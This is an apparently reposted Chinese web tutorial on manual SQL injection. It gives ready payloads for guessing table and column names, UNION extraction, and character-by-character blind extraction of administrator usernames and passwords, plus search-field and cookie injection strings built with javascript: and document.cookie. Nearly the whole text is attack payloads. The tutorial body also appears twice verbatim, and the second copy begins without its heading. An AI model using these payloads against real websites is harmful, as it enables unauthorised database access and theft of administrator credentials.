教你如何手工注入猜解語句
發(fā)布日期:2021-12-17 13:46 | 文章來源:gibhub
猜解表名:
and exists (select * from 表名)
猜解列名:
and exists (select 字段 from 表名)
UNION法:
聯(lián)合查詢:
select name,password,id from user union select user,pwd,uid from
爆指定表名內容:
and 1=1 union select 1,2,3,4,5 from 表名
ASCII逐字解碼法:
1、猜解列長度
猜解語句:
and (select top 1 len(列名)from 表名)>N
and (select top 1 len(列名)from 表名)=N
其中N是數(shù)字,變換這個N的值猜解列長度,例如:
and (select top 1 len(列名)from 表名)>1
and (select top 1 len(列名)from 表名)>6
如果一直猜到6都顯示正常頁面,猜到7的時候返回錯誤(大于6并且小于等于7),那么該列的長度為7。因為“top 1”的意思是把最靠前的1條記錄給提取出來,所以如果要猜解第二條記錄就該使用:
select top 1 len(列名) from 表名
where 列名 not in (select top 1 列名 from 表名)
2、ASCII碼分析法猜解用戶和密碼
ASC()函數(shù)和Mid函數(shù)
例如:mid(列名,N,1)
ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII碼
猜解語句為:
and (select top 1 asc(mid(字段,1,1)) from 數(shù)據(jù)庫名)=ASC碼(通過轉換工具換)
區(qū)間判斷語句:
“......between......and......”
中文處理法:
當ASCII轉換后為“負數(shù)”使用abs()函數(shù)取絕對值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 數(shù)據(jù)庫名)=ASC碼(通過轉換工具換)
ASCII逐字解碼法的應用:
1、猜解表名:
and (select count(*) from admin)<>0
2、猜解列名:
and (select count(列名) from 表名)<>0
3、猜解管理員用戶個數(shù):
and (select count(*) from 表名)=1
返回正常,表中有一條記錄。
4、猜解管理員用戶名的長度:
and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解管理員用戶名:
and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:
and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理員的密碼:
按照上面的原理,只要把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWORD就能得到管理員的密碼了。
搜索型注入漏洞利用猜解語句:
關鍵字%' and 1=1 and '%'='%
關鍵字%' and 1=2 and '%'='%
將and 1=1 換成注入語句就可以了。
cookie注入語句:
javascript:alert(document.cookie="id=" escape("44 and 1=1"));
javascript:alert(document.cookie="id=" escape("44 and 1=2"));
猜解語句:
猜解長度:
javascript:alert(document.cookie="id=" escape("44 and (select len(password) from admin)=16"))
猜解內容:
javascript:alert(document.cookie="id=" escape("44 and (select asc(mid(username)) from admin)=97"))
and exists (select * from 表名)
猜解列名:
and exists (select 字段 from 表名)
UNION法:
聯(lián)合查詢:
select name,password,id from user union select user,pwd,uid from
爆指定表名內容:
and 1=1 union select 1,2,3,4,5 from 表名
ASCII逐字解碼法:
1、猜解列長度
猜解語句:
and (select top 1 len(列名)from 表名)>N
and (select top 1 len(列名)from 表名)=N
其中N是數(shù)字,變換這個N的值猜解列長度,例如:
and (select top 1 len(列名)from 表名)>1
and (select top 1 len(列名)from 表名)>6
如果一直猜到6都顯示正常頁面,猜到7的時候返回錯誤(大于6并且小于等于7),那么該列的長度為7。因為“top 1”的意思是把最靠前的1條記錄給提取出來,所以如果要猜解第二條記錄就該使用:
select top 1 len(列名) from 表名
where 列名 not in (select top 1 列名 from 表名)
2、ASCII碼分析法猜解用戶和密碼
ASC()函數(shù)和Mid函數(shù)
例如:mid(列名,N,1)
ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII碼
猜解語句為:
and (select top 1 asc(mid(字段,1,1)) from 數(shù)據(jù)庫名)=ASC碼(通過轉換工具換)
區(qū)間判斷語句:
“......between......and......”
中文處理法:
當ASCII轉換后為“負數(shù)”使用abs()函數(shù)取絕對值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 數(shù)據(jù)庫名)=ASC碼(通過轉換工具換)
ASCII逐字解碼法的應用:
1、猜解表名:
and (select count(*) from admin)<>0
2、猜解列名:
and (select count(列名) from 表名)<>0
3、猜解管理員用戶個數(shù):
and (select count(*) from 表名)=1
返回正常,表中有一條記錄。
4、猜解管理員用戶名的長度:
and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解管理員用戶名:
and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:
and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理員的密碼:
按照上面的原理,只要把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWORD就能得到管理員的密碼了。
搜索型注入漏洞利用猜解語句:
關鍵字%' and 1=1 and '%'='%
關鍵字%' and 1=2 and '%'='%
將and 1=1 換成注入語句就可以了。
cookie注入語句:
javascript:alert(document.cookie="id=" escape("44 and 1=1"));
javascript:alert(document.cookie="id=" escape("44 and 1=2"));
猜解語句:
猜解長度:
javascript:alert(document.cookie="id=" escape("44 and (select len(password) from admin)=16"))
猜解內容:
javascript:alert(document.cookie="id=" escape("44 and (select asc(mid(username)) from admin)=97"))
版權聲明:本站文章來源標注為YINGSOO的內容版權均為本站所有,歡迎引用、轉載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網站,禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內容來源于網友推薦、互聯(lián)網收集整理而來,僅供學習參考,不代表本站立場,如有內容涉嫌侵權,請聯(lián)系alex-e#qq.com處理。
相關文章
上一篇:
新的掛馬方式-ARP欺騙
下一篇: